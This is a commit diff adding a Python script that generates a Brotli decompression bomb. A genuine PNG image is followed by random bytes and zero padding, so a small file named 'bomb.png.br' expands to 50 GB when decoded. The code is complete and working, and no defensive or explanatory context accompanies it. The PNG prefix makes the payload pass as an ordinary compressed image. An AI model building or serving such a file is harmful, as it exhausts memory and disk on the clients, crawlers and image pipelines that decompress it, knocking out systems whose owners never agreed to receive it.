Add create.py

create.py

@@ -0,0 +1,52 @@
+import os
+import sys
+
+import brotli
+
+DECOMPRESSED_SIZE = 50 * 1024 * 1024 * 1024
+RANDOM_BYTES = 1024 * 1024
+BROTLI_QUALITY = 5
+
+_HERE = os.path.dirname(os.path.abspath(__file__))
+PNG_PATH = os.path.join(_HERE, "image.png")
+BR_PATH = os.path.join(_HERE, "bomb.png.br")
+
+
+def _load_real_png() -> bytes:
+    with open(PNG_PATH, "rb") as f:
+        data = f.read()
+    assert data[:8] == b"\x89PNG\r\n\x1a\n", f"{PNG_PATH} is not a valid PNG"
+    return data
+
+
+def _build_brotli(png_bytes: bytes) -> bytes:
+    c = brotli.Compressor(quality=BROTLI_QUALITY)
+    out = bytearray()
+    out += c.process(png_bytes)
+    out += c.process(os.urandom(RANDOM_BYTES))
+
+    remaining = DECOMPRESSED_SIZE - len(png_bytes) - RANDOM_BYTES
+    block = b"\x00" * (16 * 1024 * 1024)
+    while remaining > 0:
+        n = min(len(block), remaining)
+        out += c.process(block[:n])
+        remaining -= n
+
+    out += c.finish()
+    return bytes(out)
+
+
+def main() -> None:
+    if os.path.exists(BR_PATH) and "--rebuild" not in sys.argv:
+        print(f"{os.path.basename(BR_PATH)} already exists; pass --rebuild to overwrite.")
+        return
+
+    png_bytes = _load_real_png()
+    data = _build_brotli(png_bytes)
+    with open(BR_PATH, "wb") as f:
+        f.write(data)
+    print(f"wrote {os.path.basename(BR_PATH)} ({len(data):,} bytes)")
+
+
+if __name__ == "__main__":
+    main()